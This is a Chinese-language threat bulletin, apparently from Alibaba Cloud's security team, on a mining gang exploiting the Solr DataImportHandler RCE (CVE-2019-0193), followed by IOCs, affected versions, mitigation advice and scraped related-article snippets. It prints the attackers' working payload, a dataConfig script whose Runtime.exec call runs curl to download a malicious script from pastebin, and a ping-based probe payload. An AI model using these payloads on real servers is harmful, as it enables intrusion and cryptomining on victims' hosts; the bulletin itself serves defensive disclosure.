威胁快报|Solr dataimport成挖矿团伙新型利用方式
概述
近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利。该团伙使用的恶意脚本与之前报道的“威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发”文章所提团伙使用的基本一致,因此基本认为是同一团伙所为。
除此之外,可以合理推测,该团伙一直活跃在寻找新的攻击方式来植入其恶意程序,阿里云安全团队已在第一时间对该利用方式进行了监控,并对该团伙的行为持续关注。建议用户及时排查自身主机是否受到影响,并关注阿里云安全团队的相关文章。
漏洞详情
漏洞简介
Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。Remote Code Execution via DataImportHandler(CVE-2019-0193)是apache Solr在2019.8.1日披露的漏洞预警,此漏洞发生在Solr的DataImportHandler(DIH)模块中,该模块提供从数据库或其他数据源获取数据的能力。由于Solr admin默认是不需要鉴权认证的,且DIH支持脚本操作,因此可以通过构造恶意http请求,实现远程命令执行。
如下图,在solr admin中选择dataimport选项卡,由于dataimport配置支持脚本,我们可以在配置文件中写入恶意脚本,执行curl xxx.xxx.xxx.xx指令。

如下图,我们服务端收到了solr发送的http请求,证明RCE成功。

利用分析
阿里云安全团队近日监测到有攻击者尝试利用此漏洞对阿里云上主机进行入侵。其首先发送http://xx.xx.xx.xx:8983/solr/admin/cores?action=STATUS&wt=json的请求来获取solr中core的名称。

之后对这些core_name进行遍历,尝试向corename/dataimport发送如下payload进而向https://pastebin.com/raw/jjFzjCwx请求恶意脚本。
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=<dataConfig>
+<dataSource+type="URLDataSource"/>
+<script><![CDATA[
+++++++++function+poc(){+java.lang.Runtime.getRuntime().exec("curl+-fsSL+https://pastebin.com/raw/jjFzjCwx+-o+/tmp/baby");
+++++++++}
+]]></script>
+<document>
+++<entity+name="stackoverflow"
+++++++++++url="https://stackoverflow.com/feeds/tag/solr"
+++++++++++processor="XPathEntityProcessor"
+++++++++++forEach="/feed"
+++++++++++transformer="script:poc"+/>
+</document>
</dataConfig>&name=dataimport
跟进https://pastebin.com/raw/jjFzjCwx此地址的恶意脚本,发现其与之前的分析的watchdog挖矿程序只有一处不同,且为非关键内容,之后的部分可以参见之前的文章。

除此之外,还有疑似发送ping命令来收集存在漏洞主机的恶意请求:
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=solr&dataConfig=<dataConfig>
<dataSource type="URLDataSource"/>
<script>
<![CDATA[
function poc(row) {
var Runtime = Java.type("java.lang.Runtime");
Runtime.getRuntime().exec("ping -c 1 solr_CVE_2019_0193XfSIcGVY.awvsscan119.autoverify.cn");
return row;
}
]]></script>
</dataConfig>
漏洞影响
目前,全网使用solr组件的设备数大约在1.9w台左右,阿里云安全团队建议用户及时查看自身机器状态,防止事态进一步扩大。

IOC
- https://pastebin.com/raw/jjFzjCwx
- https://pastebin.com/raw/3FDDiNwW
- https://pastebin.com/raw/KJcZ9HLL
影响版本
- solr 8.2.0 之前版本(不包含)
- 需启用DataImportHandler模块
- solr 未启用鉴权认证或采用弱密码
安全建议
- 将solr 升级至8.2.0或更新版本(8.2.0版本之后默认不开启dataconfig参数支持)
- 设置solrconfig.xml->requestHandler->config标签内内容为空
- 与DIH相关的请求采用白名单过滤
参考文章
[1] 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发
[2] CVE-2019-0193 Remote Code Execution via DataImportHandler
本文作者:苍珀
本文为云栖社区原创内容,未经允许不得转载。
威胁快报|Solr dataimport成挖矿团伙新型利用方式的更多相关文章
- 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...
- 威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起
近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏.这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势 ...
- 威胁快报|新兴挖矿团伙借助shodan作恶,非web应用安全再鸣警钟
近日,阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙.我们给这一团伙取名为Xulu,因为该团伙使用这个字符串作为挖矿时的用户名. Xulu并不是第一个攻击Dock ...
- 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库
概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...
- Solr学习笔记之3、Solr dataimport - 从SQLServer导入数据建立索引
Solr学习笔记之3.Solr导入SQLServer数据建立索引 一.下载MSSQLServer的JDBC驱动 下载:Microsoft JDBC Driver 4.0 for SQL Server ...
- 将html页改成jsp的两种方式
将html页改成jsp的两种方式 作者: 字体:[增加 减小] 类型:转载 时间:2013-08-13 将html页改成jsp有两种方法,第一种是直接修改html文件,另一种是新建jsp文件.下面为大 ...
- Oracle字符串行拆分成列的三种方式
Oracle字符串行拆分成列的三种方式 --muphy 开发过程中经常会遇到将前台多个值用逗号连接一同传递到后台查询,这个用逗号连接的字符串分隔的每个字符串分别对应Oracle数据库表的不同行. 如下 ...
- 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利
一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
随机推荐
- 校园商铺-4店铺注册功能模块-1Dao层之更新店铺
dao层增加更新店铺的方法 package com.csj2018.o2o.dao; import com.csj2018.o2o.entity.Shop; public interface Shop ...
- thinkphp for标签
用法: 大理石平台厂家 <for start="开始值" end="结束值" comparison="" step="步进值 ...
- 1001CSP-S模拟测试赛后总结
祖国七十岁生日快乐!!! 话说在国庆节这天考试…… 临时换座换到了某诺和yzh中间.两边都是大佬紧张一批. 加上迟到了两分钟,加上昨晚熬夜写实践报告,状态并不是特别好. 这套题稍简单.于是尽管我T1A ...
- centos6.4下安装python3.6.1
1.安装编译环境所需包 #yum install zlib-devel bzip2-devel openssl-devel ncurese-devel gcc zlib 安装成功 2.下载源码包 #w ...
- “瑞士军刀”Netcat使用方法总结
前言 最近在做渗透测试的时候遇到了端口监听和shell的反弹问题,在这个过程中自己对Netcat这一款神器有了新的认识,现将一些Netcat的用法做一个小总结,希望对各位有帮助! Netcat简介 N ...
- uploadify上传附件 点击保存无效 切F12就可以正常保存
感谢 这篇文章 https://blog.csdn.net/koala25/article/details/70230046 uploadify上传附件 点击保存无效 切F12就可以正常保存了, ...
- Java基础拾遗(一) — 忽略的 Integer 类
学习前我们先看一个笔者之前项目踩过的坑 public static void main(String[] args) { Integer a = 127; Integer b = 127; Syste ...
- sql server2014显示sa无法登录的错误
博主用的是sql serser2014,不过这个问题的方法也适用于2012等其他版本. 当用sa登录的时候,提示如下错误: A connection was successfully establis ...
- JavaScript中对象的3种定义方式
对象是有特性(属性)和功能(方法)的集合体. 定义对象有以下3种方式: 1.使用系统的new Object()方式定义对象 2.使用对象字面量定义对象( 即使用{}语法糖结构定义对象 ) 3.使用自定 ...
- 廖雪峰Java14Java操作XML和JSON-1XML-1XML介绍
1.XML:可扩展标记语言(extensible Markup Language) 是一种数据表示格式 可以描述非常复杂的数据结构 用于存储和传输数据 1.1XML特点: 1.纯文本,默认utf-8编 ...